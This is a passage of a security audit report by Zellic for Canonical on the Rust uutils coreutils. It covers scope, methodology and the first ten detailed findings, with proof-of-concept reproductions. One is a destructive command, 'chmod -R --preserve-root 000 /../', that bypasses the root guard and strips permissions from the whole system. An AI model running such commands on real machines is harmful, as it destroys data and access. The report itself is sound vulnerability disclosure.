Zellic

January 20, 2026

Prepared for
Ravi Kant Sharma
Julian Andres Klode
Canonical

Prepared by
Can Boluk
Ziling Chen
Ethan Lee
Guo Xuehao
Xiaochuan Yu
Zellic

uutils coreutils
Program Security Assessment

Contents

About Zellic **7**

1. Overview **7**

1.1. Executive Summary 8

1.2. Goals of the Assessment 8

1.3. Non-goals and Limitations 8

1.4. Results 9

2. Introduction **9**

2.1. About uutils coreutils 10

2.2. Methodology 10

2.3. Scope 12

2.4. Project Overview 16

2.5. Project Timeline 17

3. Detailed Findings **17**

3.1. chmod: Any path that resolves to root can bypass the `--preserve-root` option 18

3.2. chmod: Incorrect error handling when multiple files are processed in recursive mode 20

3.3. ChownExecutor: Incorrect error handling when multiple files are processed in recursive mode 22

3.4. chmod: Behavioral divergence from coreutils when the target file is not accessible 24

3.5. chgrp: Verbose `retained as` may print an empty group name for unmapped GIDs 25

3.6. cp: Command returns exit code 0 when encountering circular symbolic links error 27

3.7. cp, install, mv, and ln: –suffix does not enable backup mode when used alone 30

3.8. mkfifo: Permissions on failed FIFO creation are continued to be set 33

3.9. mkfifo: Special permission bits in mode argument are not rejected 36

3.10. mknod: Major/minor device number range is not validated 38

3.11. mktemp: When `TMPDIR` is an empty string, mktemp does not fall back to `/tmp` 40

3.12. mktemp: Consecutive Xs at template end are not validated 42

3.13. rm: Dangerous abbreviation of `--no-preserve-root` option is allowed 44

3.14. touch: Failure with an error on special files like `/dev/null` 46

3.15. touch: Incorrect months-ago calculation with `-d` options 48

3.16. tac: Incompatibility in `-r` regex flavor 49

3.17. wc: In C/POSIX locale, `-m` returns character count instead of byte count 51

3.18. sort: Locale-based collation is not supported 53

3.19. wc: Incorrect `POSIXLY_CORRECT` whitespace rules 56

3.20. sort: Numeric sort (`-n`) incorrectly parses `+` as a number sign 58

3.21. wc: Word undercount when input contains invalid byte sequences 60

3.22. cut: Incorrect delimiter handling when delimiter is newline 62

3.23. sort: Numeric sort (`-n`) does not recognize thousand separators 63

3.24. join: Locale collation should be considered 65

3.25. sort: Scientific notation with sign is incorrectly parsed in general numeric sort 67

3.26. tail: When requested bytes exceed file size, `-c` panics 69

3.27. uniq: -w counts UTF-8 characters instead of bytes 71

3.28. tac: Crash with SIGBUS when input file is truncated during read 74

3.29. dd: Silent truncate error suppression causes undetected data corruption in backup scripts 76

3.30. dd: When `write()` returns zero bytes, dd enters infinite loop 78

3.31. dd: Insufficient `O_DIRECT` handling causes read failures on misaligned tail blocks 80

3.32. tail: Sensitive file exfiltration enabled as `--follow=name` accepts symlink replacements 82

3.33. tee: Premature termination with SIGPIPE when `--output-error` mode expects graceful handling 84

3.34. comm: Lossy UTF-8 conversion corrupts non–UTF-8 output, silently altering file content 86

3.35. comm: FIFO/pipe data is consumed before comparison, causing data loss or hangs 87

3.36. tail: The `exists()` precheck masks permission errors 89

3.37. sort: –files0-from requires UTF-8 / panics on non–UTF-8 file names 91

3.38. sort: The `-M` locale month-parsing gap 93

3.39. cat: Unix domain socket connect behavior 94

3.40. cat: Minor error-handling issues 96

3.41. tail: Obsolete `-0` crashes 97

3.42. tee: On Linux's `-p`, `ensure_stdout_not_broken` can hang forever on pipes 98

3.43. rmdir: GNU incompatible handling of symlinks with multiple trailing slashes 99

3.44. rm: `rm --preserve-root` bypass via symlink to `/` 100

3.45. cp: When chown fails, `-p` retains setuid/setgid bits, creating unexpected privileged executables 101

3.46. mv: File ownership is lost on cross-device moves, breaking backups and migrations 103

3.47. mkfifo: Time-of-check to time-of-use race allows chmod to be redirected to arbitrary files via symlink swap 105

3.48. mkdir: -m exposes directory with incorrect permissions, allowing unauthorized access 107

3.49. mv: Xattr preservation time-of-check to time-of-use allows security label inconsistency on cross-device moves 109

3.50. install: Time-of-check to time-of-use symlink race allows arbitrary file overwrites via unlink-then-create without `O_EXCL` 111

3.51. install: Symlink race in `install -D` directory creation allows arbitrary file overwrites 113

3.52. cp: Private file contents exposure through time-of-check to time-of-use race in permission handling 115

3.53. cp: -R reads device nodes as streams, destroying device semantics in copied file-system trees 117

3.54. cp: GNU compatibility broken as `-p` unintentionally preserves extended attributes 118

3.55. cp: Time-of-check to time-of-use symlink swap bypasses no-dereference intent, enabling arbitrary file exfiltration 120

3.56. touch: Time-of-check to time-of-use race between existence check and file creation leads to truncation of arbitrary files 122

3.57. touch: Missing reference files are masked as `touch -r` silently accepts dangling symlinks 124

3.58. mknod: Mislabeled device nodes are created with broken cleanup on SELinux systems 125

3.59. Safe traversal module is only enabled on Linux, missing time-of-check to time-of-use protection on other platforms 127

3.60. rm: `rm -rf ./` and variants silently delete current directory contents, bypassing dot directory protection 128

3.61. mv: Directory symlinks are treated as files in mv 130

3.62. mv: Copy time-of-check to time-of-use race 132

3.63. mv: Symlinks incorrectly expanded during cross-device move 134

3.64. mv: Cross-device symlink fallback `EEXIST` 136

3.65. printf: Format-string parsing overflow causes panic 137

3.66. printenv: Environment variables with invalid UTF-8 are silently skipped 138

3.67. nohup: World-readable output files are created, exposing command output to other users 140

3.68. stty: Success is silently reported when terminal settings are only partially applied 141

3.69. chroot: –userspec Name Service Switch injection before privilege drop (glibc) 143

3.70. kill: Argument parsing error causes system crash 146

3.71. id: Pretty print crash on malformed group ID 147

3.72. id: Incorrect concept of `groups=` section 148

3.73. id: incorrect pretty print behavior when `uid` and `euid` differ 150

4. Security Overview 151

4.1. Scope and review focus 152

4.2. Threat model and risk assumptions 152

4.3. Codebase maturity and GNU alignment 154

4.4. Design complexity and maintainability 155

4.5. Security-hardening recommendations 155

5. Assessment Results 156

5.1. Disclaimer 157

About Zellic

Zellic is a vulnerability research firm with deep expertise in blockchain security. We specialize in EVM, Move (Aptos and Sui), and Solana as well as Cairo, NEAR, and Cosmos. We review L1s and L2s, cross-chain protocols, wallets and applied cryptography, zero-knowledge circuits, web applications, and more.

Prior to Zellic, we founded the #1 CTF (competitive hacking) team ↗ worldwide in 2020, 2021, and 2023. Our engineers bring a rich set of skills and backgrounds, including cryptography, web security, mobile security, low-level exploitation, and finance. Our background in traditional information security and competitive hacking has enabled us to consistently discover hidden vulnerabilities and develop novel security research, earning us the reputation as the go-to security firm for teams whose rate of innovation outpaces the existing security landscape.

For more on Zellic's ongoing security research initiatives, check out our website zellic.io ↗ and follow @zellic_io ↗ on Twitter. If you are interested in partnering with Zellic, contact us at hello@zellic.io ↗.

1. Overview

1.1. Executive Summary

Zellic conducted a security assessment for Canonical from December 8th, 2025, to January 6th, 2026. During this engagement, Zellic reviewed uutils coreutils's code for security vulnerabilities, design issues, and general weaknesses in security posture.

1.2. Goals of the Assessment

In a security assessment, goals are framed in terms of questions that we wish to answer. These questions are agreed upon through close communication between Zellic and the client. In this assessment, we sought to answer the following questions:

- Is the functional behavior of uutils coreutils compatible with GNU coreutils?
- Could the implementation cause system damage through race conditions, improper permission handling, or bypassed safety mechanisms?
- Are edge cases and error conditions handled correctly, including input validation, boundary conditions, and error propagation?
- Does the Rust implementation introduce risks from unsafe code, panics, integer overflow, or incorrect memory/lifetime assumptions?

1.3. Non-goals and Limitations

We did not assess the following areas that were outside the scope of this engagement:

- System infrastructure — container runtimes, init systems, and other OS services were out of scope.
- Other uutils commands — utilities not listed in the scope were not analyzed.
- Build and packaging — source build pipelines and distribution packaging were not evaluated.
- Performance differences — we did not assess efficiency, speed or resource usage relative to GNU coreutils.
- Windows/non-Linux platform issues — behaviors on non-Linux systems were not considered.

Due to the time-boxed nature of security assessments in general, there are limitations in the coverage an assessment can provide.

1.4. Results

During our assessment on the scoped uutils coreutils targets, we discovered 73 findings. Seven critical issues were found. Eleven were of high impact, 29 were of medium impact, and 26 were of low impact.

Given the volume and severity of security-relevant findings in this audit including TOCTOU race conditions, unsafe argument parsing, and permission-handling gaps, we recommend a reassessment of the codebase following remediation efforts.

This follow-up review should confirm that file-system safety, privileged operations, and core utilities function correctly for end users. Key focus areas include core permission operations, TOCTOU race conditions, error handling, GNU coreutils compatibility, and high-risk patterns such as uncontrolled `unwrap()` calls.

Refer to security-hardening recommendations in section 4.5. ↗ for further guidance on improving the codebase in both the short and long term.

Note that as of publication, several findings remain unresolved, though pull requests addressing them are open and under review.

Breakdown of Finding Impacts

Impact Level	Count
Critical	7
High	11
Medium	29
Low	26
Informational	0

2. Introduction

2.1. About uutils coreutils

Canonical contributed the following description of uutils coreutils:

> uutils coreutils is a cross-platform reimplementation of the GNU coreutils in Rust.

2.2. Methodology

During a security assessment, Zellic works through standard phases of security auditing, including both automated testing and manual review. These processes can vary significantly per engagement, but the majority of the time is spent on a thorough manual review of the entire scope.

Alongside a variety of tools and analyzers used on an as-needed basis, Zellic focuses primarily on the following classes of security and reliability issues:

Concurrency & lifecycle. We review for race conditions, deadlocks, TOCTOU, thread-safety, and async pitfalls.

Edge-case handling. We review for error propagation, boundary conditions, panics, and integer/logic errors.

Input/output handling. We review for input validation, output encoding/sanitization, path traversal, and injection.

Rust-specific risks. We review for misuse of `unsafe` (FFI/ABI boundaries, lifetime or aliasing assumptions, `Send`/`Sync` soundness, unsafe trait implementations, `Pin`, `UnsafeCell` patterns, allocator behavior), as well as panics from `unwrap`/`expect`, invalid string construction or manipulation, integer overflow/underflow, and improper alignment.

Behavioral differences (GNU/POSIX). We analyze behavioral differences from GNU/POSIX semantics that could affect users or security posture, such as option parsing, exit codes, locale/encoding behavior, and symlink, permission, and file handling.

Behavioral differences (C vs. Rust). Where applicable, we compare the Rust implementation with the reference C behavior to identify small but important differences in execution, such as changes in error codes, edge-case handling, timing, or syscall usage.

System interfaces. We review FFI and kernel/user-space boundaries, capability and privilege usage, and assumptions inherited from the C lineage.

For each finding, Zellic assigns it an impact rating based on its severity and likelihood. There is no hard-and-fast formula for calculating a finding's impact. Instead, we assign it on a case-by-case basis based on our judgment and experience. Both the severity and likelihood of an issue affect its impact. For instance, a highly severe issue's impact may be attenuated by a low likelihood. We assign the following impact ratings (ordered by importance): Critical, High, Medium, Low, and

Informational.

Zellic organizes its reports such that the most important findings come first in the document, rather than being strictly ordered on impact alone. Thus, we may sometimes emphasize an "Informational" finding higher than a "Low" finding. The key distinction is that although certain findings may have the same impact rating, their *importance* may differ. This varies based on various soft factors, like our clients' threat models, their business needs, and so on. We aim to provide useful and actionable advice to our partners considering their long-term goals, rather than a simple list of security issues at present.

2.3. Scope

The engagement involved a review of the following targets:

uutils coreutils Targets

Type	Rust
Platform	Linux
Target	File access control
Repository	https://github.com/uutils/coreutils ↗
Version	`3a07ffc5a9bd4c283e75afa548ba1f1957bad242`

Programs	`chgrp/**`
	`chmod/**`
	`chown/**`

Target	File-system and file-paths manipulation
Repository	https://github.com/uutils/coreutils ↗
Version	`3a07ffc5a9bd4c283e75afa548ba1f1957bad242`

Programs	`cp/**`
	`install/**`
	`mkdir/**`
	`mkfifo/**`
	`mknod/**`
	`mktemp/**`
	`mv/**`
	`rm/**`
	`rmdir/**`
	`unlink/**`
	`touch/**`

Target	File content manipulation
Repository	https://github.com/uutils/coreutils ↗
Version	`3a07ffc5a9bd4c283e75afa548ba1f1957bad242`

Programs	`cat/**`
	`dd/**`
	`sort/**`
	`join/**`
	`comm/**`
	`tac/**`
	`tail/**`
	`tee/**`
	`wc/**`
	`uniq/**`

Target	User management
Repository	https://github.com/uutils/coreutils ↗
Version	`3a07ffc5a9bd4c283e75afa548ba1f1957bad242`

Programs	`groups/**`
	`id/**`
	`users/**`

Target	Process management
Repository	https://github.com/uutils/coreutils ↗
Version	`3a07ffc5a9bd4c283e75afa548ba1f1957bad242`
Programs	`src/uu/kill/**`

Target	Process environment management
Repository	https://github.com/uutils/coreutils ↗
Version	`3a07ffc5a9bd4c283e75afa548ba1f1957bad242`

Programs	`nohup/**`
	`chroot/**`
	`printenv/**`
	`pwd/**`
	`stty/**`

Target	Others
Repository	https://github.com/uutils/coreutils ↗
Version	`3a07ffc5a9bd4c283e75afa548ba1f1957bad242`

Programs	`pathchk/**`
	`printf/**`
	`test/**`
	`false/**`
	`true/**`
	`yes/**`

2.4. Project Overview

Zellic was contracted to perform a security assessment for a total of 8.1 person-weeks. The assessment was conducted by five consultants over the course of three calendar weeks.

Contact Information

The following project manager was associated with the engagement:

Chad McDonald
Engagement Manager
chad@zellic.io

The following consultants were engaged to conduct the assessment:

Can Boluk
Engineer
can.boluk@zellic.io

Ziling Chen
Engineer
ziling@zellic.io

Ethan Lee
Engineer
ethl@zellic.io

Guo Xuehao
Engineer
guo@zellic.io

Xiaochuan Yu
Engineer
xiaochuan@zellic.io

In addition, we would like to acknowledge and thank Ulrich Myhre, William Bowling, Syed Faraz Abrar, Jacob Goreski, and Pedro Moura, who offered insight, feedback, and support during this engagement. Their input and availability were greatly appreciated and contributed to the overall success of the project.

2.5. Project Timeline

The key dates of the engagement are detailed below.

December 8, 2025	Start of primary review period
December 24, 2025	Review paused for holiday break
January 5, 2026	Review resumed
January 6, 2026	End of primary review period

3. Detailed Findings

3.1. chmod: Any path that resolves to root can bypass the `--preserve-root` option

Target	File access control		
Category	Coding Mistakes	**Severity**	Critical
Likelihood	High	**Impact**	Critical

Description

Certain commands can have a destructive result on hierarchies. For such commands, GNU uses the `--preserve-root` option to prevent operation on any path that resolves to root. However, the `--preserve-root` option of `chown` can be bypassed.

In `Chmoder::chmod()`,

```
if self.recursive && self.preserve_root && file == Path::new("/") {
    return Err(ChmodError::PreserveRoot("/".to_string()).into());
}
```

it only validates whether the target file is `/` or not. This can be bypassed with a symlink or simply `/../`.

We created a proof of concept for this bug that demonstrates the severity. This command will change the permission of all files and directories in the system to `000` even when `--preserve-root` is specified:

```
chmod -R --preserve-root 000 /../ -v
# output omitted for brevity
```

Impact

Since `--preserve-root` can be bypassed, this leads to a destructive result on the entire file-system hierarchies even when it has been explicitly specified. Despite the safeguard being explicitly specified, the bypassing can override or circumvent it. Recursive operation like `chmod -R` can modify every file and directory permissions in the system, leading to a potential complete breakdown.

Recommendations

Resolve the target path to its absolute canonical form before checking against root path.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit 413055b3 ↗.

3.2. chmod: Incorrect error handling when multiple files are processed in recursive mode

Target	File access control		
Category	Coding Mistakes	**Severity**	High
Likelihood	High	**Impact**	High

Description

The `chmod` command provides the `-R` option to change files and directories recursively.

See in `Chmoder::chmod()`:

```
if self.recursive {
    r = self.walk_dir_with_context(file, true);
} else {
    r = self.chmod_file(file).and(r);
}
```

When recursive mode is enabled, the return value is solely determined by the last file processed. If the processing of the last file is successful, the return code will be `0` even if the previous operation encountered errors.

We created a proof of concept for this bug that demonstrates the severity.

```
core_sbx$ mkdir chmod-bug/user chmod-bug/root
core_sbx$ touch chmod-bug/user/user_owned chmod-bug/root/root_owned
core_sbx$ sudo chown root:root chmod-bug/root/root_owned
core_sbx$ chmod -R 0755 chmod-bug/root chmod-bug/user; echo "gnu ret=$?"
chmod: changing permissions of 'chmod-bug/root/root_owned': Operation not
    permitted
gnu ret=1
core_sbx$ ../target/release/chmod -R 0755 chmod-bug/root chmod-bug/user; echo
    "uutils ret=$?"
../target/release/chmod: Operation not permitted (os error 1)
uutils ret=0
```

Impact

Any scripts that rely on the exit code to determine if all operations were successful will have unexpected behavior. With the current behavior, `chmod` can print permission errors for some paths while still returning 0 as long as the last visited entry succeeds. This creates a false sense of success and the script that relies on it continues even though some files retained restrictive or unexpected permissions. This can further lead to security related misconfigurations or access control issues when scripts rely on `chmod` to set specific permissions.

Recommendations

Accumulate errors encountered during processing.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit `abd581f6` ↗.

3.3. ChownExecutor: Incorrect error handling when multiple files are processed in recursive mode

Target	File access control		
Category	Coding Mistakes	**Severity**	High
Likelihood	High	**Impact**	High

Description

Both `chgrp` and `chown` provide the `-R` option to change files and directories recursively.

See in `ChownExecutor::dive_into`:

```
ret = match wrap_chown(...) {
    Ok(n) => { ...; 0 }
    Err(e) => { ...; 1 }
}
```

When recursive mode is enabled, the return value is solely determined by the last file processed. If the processing of the last file is successful, the return code will be `0` even if the previous operation encountered errors.

We created a proof of concept for this bug that demonstrates the severity.

```
core_sbx$ TARGET_GRP="$(id -gn)"
core_sbx$ ../../coreutils/target/release/chgrp -Rv "$TARGET_GRP" chgrp-bug
../../coreutils/target/release/chgrp: group of 'chgrp-bug' retained as user
../../coreutils/target/release/chgrp: group of 'chgrp-bug/b' retained as user
../../coreutils/target/release/chgrp: changing group of 'chgrp-bug/b/root':
    Operation not permitted (os error 1)
failed to change group of 'chgrp-bug/b/root' from root to user
../../coreutils/target/release/chgrp: changing group of 'chgrp-bug/a':
    Operation not permitted (os error 1)
failed to change group of 'chgrp-bug/a' from root to user
../../coreutils/target/release/chgrp: group of 'chgrp-bug/a/user' retained as
    user
core_sbx$ echo $?
0
```

The directory `chgrp-bug` was created to make sure `chgrp-bug/a/user` is the last file to be processed and `chgrp-bug/b/root` is only accessible for `root`.

Impact

When multiple files are being processed, if any of them fail to change group, the final exit code should indicate failure. However, in the current implementation, if the last file processed is successful, the exit code will be `0`, even if previous files encountered errors. This can lead to scripts or users incorrectly assuming that all operations were successful when they were not, creating unexpected behavior.

Recommendations

Accumulate errors encountered during processing.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit `ebc08af9`.

3.4. chmod: Behavioral divergence from coreutils when the target file is not accessible

Target	File access control		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

Both `chgrp` and `chown` provide the `-R` option to change files and directories recursively.

See in `Chmoder:chmod()`:

```
if !file.exists() {
    // [...]
}
```

It uses `Path::exists()` to determine whether a file exists. Because `Path::exists()` will return false when there is a metadata access error, including `PermissionDenied`, it can misclassify existing but inaccessible paths as nonexistent, producing an incorrect result.

Impact

This creates behavioral divergence from GNU coreutils; scripts and tooling may treat `No such file` differently from `Permission denied`.

Recommendations

Use more precise error handling to distinguish different kinds of access errors.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #9860 ↗. They intend to merge these changes into the production branch.

3.5. chgrp: Verbose `retained as` may print an empty group name for unmapped GIDs

Target	File access control		
Category	Completeness	**Severity**	Low
Likelihood	Medium	**Impact**	Low

Description

When running in group-only mode with `--verbose`, and the requested group equals the current group — which means no change occurs — `wrap_chown()` should print

```
group of 'FILE' retained as <group>
```

However, in `wrap_chown()`,

```
} else if verbosity.level == VerbosityLevel::Verbose {
    out = if verbosity.groups_only {
        format!(
            "group of {} retained as {}",
            path.quote(),
            entries::gid2grp(dest_gid).unwrap_or_default()
        )
    } else {
        format!(
            "ownership of {} retained as {}:{}",
            path.quote(),
            entries::uid2usr(dest_uid).unwrap_or_else(|_|
    dest_uid.to_string()),
            entries::gid2grp(dest_gid).unwrap_or_else(|_|
    dest_gid.to_string())
        )
    };
}
```

the default value of an unmapped GID returned by `entries::gid2grp(dest_gid).unwrap_or_default()` is an empty string.

Impact

This causes incorrect or confusing diagnostics, and it breaks tests or scripts that parse verbose output.

Recommendations

Provide a fallback string representation of the GID when it cannot be mapped to a group name.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #9929. They intend to merge these changes into the production branch.

3.6. cp: Command returns exit code 0 when encountering circular symbolic links error

Target	cp		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

When `cp -rL` encounters circular symbolic links during directory traversal, it prints error messages but returns exit code 0 instead of a nonzero exit code. This happens because the `show_error!` macro is used instead of the `show!` macro, which does not set the exit code.

In copydir.rs ↗, when `WalkDir` encounters an error (such as `Too many levels of symbolic links`), the error is handled with `show_error!`, which only prints the message without setting the exit code.

```
pub(crate) fn copy_directory(
// [...]
    // Traverse the contents of the directory, copying each one.
    for direntry_result in WalkDir::new(root)
        .same_file_system(options.one_file_system)
        .follow_links(options.dereference)
    {
        match direntry_result {
            // [...]
            // Print an error message, but continue traversing the directory.
            Err(e) => show_error!("{e}"),
        }
    }
```

The `show_error!` macro only prints to stderr.

```
macro_rules! show_error(
    ($($args:tt)+) => ({
        eprint!("{}: ", $crate::util_name());
        eprintln!($($args)+);
    })
);
```

However, the `show!` macro sets the exit code.

```
macro_rules! show(
    ($err:expr) => ({
        #[allow(unused_imports)]
        use $crate::error::UError;
        let e = $err;
        $crate::error::set_exit_code(e.code());
        eprintln!("{}: {e}", $crate::util_name());
    })
);
```

Here are the reproduction steps.

```
# Create circular symbolic links
$ mkdir -p /tmp/test_circular_symlinks/src_cycle
$ cd /tmp/test_circular_symlinks/src_cycle
$ ln -s a b
$ ln -s b a

# Run cp -rL
$ coreutils cp -rL /tmp/test_circular_symlinks/src_cycle
    /tmp/test_circular_symlinks/dest_cycle
cp: IO error for operation on /tmp/test_circular_symlinks/src_cycle/a:
Too many levels of symbolic links (os error 40)
cp: IO error for operation on /tmp/test_circular_symlinks/src_cycle/b:
Too many levels of symbolic links (os error 40)

# Check exit code (should be non-zero but returns 0)
$ echo $?
0
```

Impact

Scripts that rely on exit codes to detect copy failures will not properly detect errors when circular symbolic links are encountered. This breaks compatibility with GNU `cp` behavior, which returns a nonzero exit code in such cases.

Recommendations

Change `show_error!` to `show!` in the `copy_directory` function, converting `walkdir::Error` to `CpError::WalkDirErr`:

```
Err(e) => show_error!("{e}"),
```

```
Err(e) => show!(CpError::WalkDirErr(e)),
```

This ensures that the exit code is properly set when errors occur during directory traversal.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #9757 ↗. They intend to merge these changes into the production branch.

3.7. cp, install, mv, and ln: –suffix does not enable backup mode when used alone

Target	cp, install, mv, ln		
Category	Completeness	**Severity**	High
Likelihood	Medium	**Impact**	High

Description

When `--suffix=.bak` is used without `-b` or `--backup` options, uutils coreutils commands (cp, install, mv, ln) do not create backup files, while their GNU counterparts create backup files using the specified suffix.

This issue affects multiple utilities that use the shared `determine_backup_mode` function from the backup_control module.

- `cp --suffix`
- `install --suffix`
- `mv --suffix`
- `ln --suffix`

In GNU cp ↗, the `--suffix` option alone enables backup mode and sets `make_backups = true`. The backup type defaults to `numbered_existing_backups` (or the value from `VERSION_CONTROL` environment variable if set).

```
case 'S':
    make_backups = true;
    backup_suffix = optarg;
    break;
```

However, in uutils coreutils, the `determine_backup_mode` function (used by cp, install, mv, and ln) only checks for `--backup` or `-b` options and returns `BackupMode::None` when only `--suffix` is provided.

See src/uucore/src/lib/features/backup_control.rs ↗:

```
pub fn determine_backup_mode(matches: &ArgMatches) -> UResult<BackupMode> {
    if matches.contains_id(arguments::OPT_BACKUP) {
        // [...]
    } else if matches.get_flag(arguments::OPT_BACKUP_NO_ARG) {
        // [...]
    } else {
        // No option was present at all
```

```
        Ok(BackupMode::None)  // @audit: Returns None when only --suffix is
            present
    }
}
```

When `BackupMode::None` is returned, `get_backup_path` returns `None`, and no backup file is created.

See src/uucore/src/lib/features/backup_control.rs ↗:

```rust
pub fn get_backup_path(
    backup_mode: BackupMode,
    backup_path: &Path,
    suffix: &str,
) -> Option<PathBuf> {
    match backup_mode {
        BackupMode::None => None,  // @audit: No backup path created
        BackupMode::Simple => Some(simple_backup_path(backup_path, suffix)),
        BackupMode::Numbered => Some(numbered_backup_path(backup_path)),
        BackupMode::Existing => Some(existing_backup_path(backup_path,
    suffix)),
    }
}
```

Here are the reproduction steps.

```shell
# Create a test file
$ echo "old content" > /tmp/test_dest
$ echo "new content" > /tmp/test_src

# Test with uutils cp
$ coreutils cp --suffix=.bak /tmp/test_src /tmp/test_dest
$ ls -la /tmp/test_dest*
# Output: only test_dest exists (backup file not created)

# Test with GNU cp
$ cp --suffix=.bak /tmp/test_src /tmp/test_dest
$ ls -la /tmp/test_dest*
# Output: test_dest and test_dest.bak exist

# Test with install, mv, and ln
$ coreutils install --suffix=.bak /tmp/test_src /tmp/test_install_dest
$ coreutils mv --suffix=.bak /tmp/test_src /tmp/test_dest
$ coreutils ln -f --suffix=.bak /tmp/test_src /tmp/test_dest
```

Impact

This has several impacts.

- Backup functionality does not work as expected when using the `--suffix` option alone.
- It breaks compatibility with GNU coreutils behavior.
- Users relying on `--suffix` for backups will experience data loss risk.
- Scripts using `--suffix` expecting backup behavior will fail silently across multiple utilities.

Recommendations

Modify the `determine_backup_mode` function to check for the `--suffix` option, and enable backup mode when present:

```
pub fn determine_backup_mode(matches: &ArgMatches) -> UResult<BackupMode> {
    if matches.contains_id(arguments::OPT_BACKUP) {
        // [...]
    } else if matches.get_flag(arguments::OPT_BACKUP_NO_ARG) {
        // [...]
    } else if matches.contains_id(arguments::OPT_SUFFIX) {
        if let Ok(method) = env::var("VERSION_CONTROL") {
            match_method(&method, "$VERSION_CONTROL")
        } else {
            Ok(BackupMode::Existing)
        }
    } else {
        Ok(BackupMode::None)
    }
}
```

This ensures that when `--suffix` is specified, backup mode is activated with the default type `BackupMode::Existing` (or the value from the `VERSION_CONTROL` environment variable), matching GNU coreutils behavior across all affected utilities (cp, install, mv, ln).

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #9741 ↗. They intend to merge these changes into the production branch.

3.8. mkfifo: Permissions on failed FIFO creation are continued to be set

Target	mkfifo		
Category	Coding Mistakes	**Severity**	Critical
Likelihood	High	**Impact**	Critical

Description

When `mkfifo` fails to create a FIFO (e.g., due to an existing file, permission denied, or an invalid path), it correctly shows an error message but then continues to execute `set_permissions` and changes the permissions of the existing file. Since the default mode is 0o666 (rw-rw-rw-), this changes the permissions to 644 (rw-r–r–) with umask (022) applied.

The issue is a missing `continue;` statement after the error-handling block.

See src/uu/mkfifo/src/mkfifo.rs ↗:

```
fn calculate_mode(mode_option: Option<&String>) -> Result<u32, String> {
    let umask = uucore::mode::get_umask();
    let mut mode = 0o666; // Default mode for FIFOs

    if let Some(m) = mode_option {
        if m.chars().any(|c| c.is_ascii_digit()) {
            mode = uucore::mode::parse_numeric(mode, m, false)?;
        } else {
            for item in m.split(',') {
                mode = uucore::mode::parse_symbolic(mode, item, umask,
    false)?;
            }
        }
    } else {
        mode &= !umask; // Apply umask if no mode is specified
    }

    Ok(mode)
}


for f in fifos {
    let err = unsafe {
        let name = CString::new(f.as_bytes()).unwrap();
        mkfifo(name.as_ptr(), 0o666)
```

```
    };
    if err == -1 {
        show!(USimpleError::new(
            1,
            translate!("mkfifo-error-cannot-create-fifo", "path" =>
    f.quote()),
        ));
       // continue; // This statement should be added to continue to the next
    FIFO
    }

    // Explicitly set the permissions to ignore umask
    if let Err(e) = fs::set_permissions(&f, fs::Permissions::from_mode(mode))
    {
        return Err(USimpleError::new(
            1,
            translate!("mkfifo-error-cannot-set-permissions", "path" =>
    f.quote(), "error" => e),
        ));
    }
```

Here are the reproduction steps.

```
$ touch secret
$ chmod 000 secret

# GNU
$ mkfifo secret fifo1 fifo2
mkfifo: cannot create fifo 'secret': File exists

$ ll secret fifo1 fifo2
prw-r--r-- fifo1
prw-r--r-- fifo2
p--------- secret

# uutils
$ coreutils mkfifo secret fifo3 fifo4
mkfifo: cannot create fifo 'secret': File exists

$ ll secret fifo3 fifo4
prw-r--r-- fifo3
prw-r--r-- fifo4
prw-r--r-- secret
```

Impact

When FIFO creation fails on an existing file, the permissions of that file are unintentionally changed to 644 with umask applied. This can expose sensitive files such as SSH private keys (which should be owner-readable only) to other users.

Recommendations

Add a `continue;` statement after showing the error when FIFO creation fails.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10376 ↗. They intend to merge these changes into the production branch.

3.9. mkfifo: Special permission bits in mode argument are not rejected

Target	mkfifo		
Category	Completeness	**Severity**	Low
Likelihood	Low	**Impact**	Low

Description

GNU `mkfifo` validates the mode argument to ensure it only contains standard file permission bits (read, write, and execute for owner, group, and others). If special bits like setuid, setgid, or sticky bit are specified, it rejects the mode with an error message.

In GNU mkfifo ↗, there is a specific check.

```
if (newmode & ~S_IRWXUGO)
    error (EXIT_FAILURE, 0,
           _("mode must specify only file permission bits"));
```

While `S_IRWXUGO` represents the standard permission bits (0777), `~S_IRWXUGO` masks out the special bits (setuid 04000, setgid 02000, sticky 01000). This ensures users cannot set special permission bits on FIFOs.

However, uutils `mkfifo` does not implement this validation and silently accepts modes with special bits set.

Here are the reproduction steps.

```
# GNU mkfifo rejects special bits
$  mkfifo -m 4777 testfifo
mkfifo:  mode must specify only file permission bits

# uutils mkfifo accepts special bits without error
$ ./coreutils mkfifo -m 4777 fifo
$ ll fifo
prwsrwxrwx 1 user user 0 Jan  7 09:29 fifo
```

Impact

Accepting special permission bits silently breaks compatibility with GNU coreutils behavior and may cause unexpected behavior in scripts that rely on mode validation.

Recommendations

Add validation to reject mode values containing special bits, and show an appropriate error message.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10372 ↗. They intend to merge these changes into the production branch.

3.10. mknod: Major/minor device number range is not validated

Target	mknod		
Category	Soundness	**Severity**	Medium
Likelihood	Low	**Impact**	Low

Description

GNU `mknod` validates that major and minor device numbers fit within the platform's `major_t` and `minor_t` type ranges. When a value exceeds the valid range (e.g., 4294967296, which is 2^{32}), it rejects the input with an error message.

In GNU mknod ↗, there are specific range validation checks.

```
uintmax_t i_major, i_minor;
dev_t device;

if (xstrtoumax (s_major, nullptr, 0, &i_major, "") != LONGINT_OK
    || i_major != (major_t) i_major)
    error (EXIT_FAILURE, 0,
            _("invalid major device number %s"), quote (s_major));

if (xstrtoumax (s_minor, nullptr, 0, &i_minor, "") != LONGINT_OK
    || i_minor != (minor_t) i_minor)
    error (EXIT_FAILURE, 0,
            _("invalid minor device number %s"), quote (s_minor));
```

The check `i_major != (major_t) i_major` ensures that when the parsed `uintmax_t` value is cast to `major_t` (typically 32 bit), it does not lose precision. If the value overflows, the cast produces a different number, triggering the error.

However, in uutils `mknod`, the major/minor values are parsed as `u64` using `value_parser!(u64)` and passed directly to the `makedev` function without any range validation.

```
.arg(
    Arg::new(options::MAJOR)
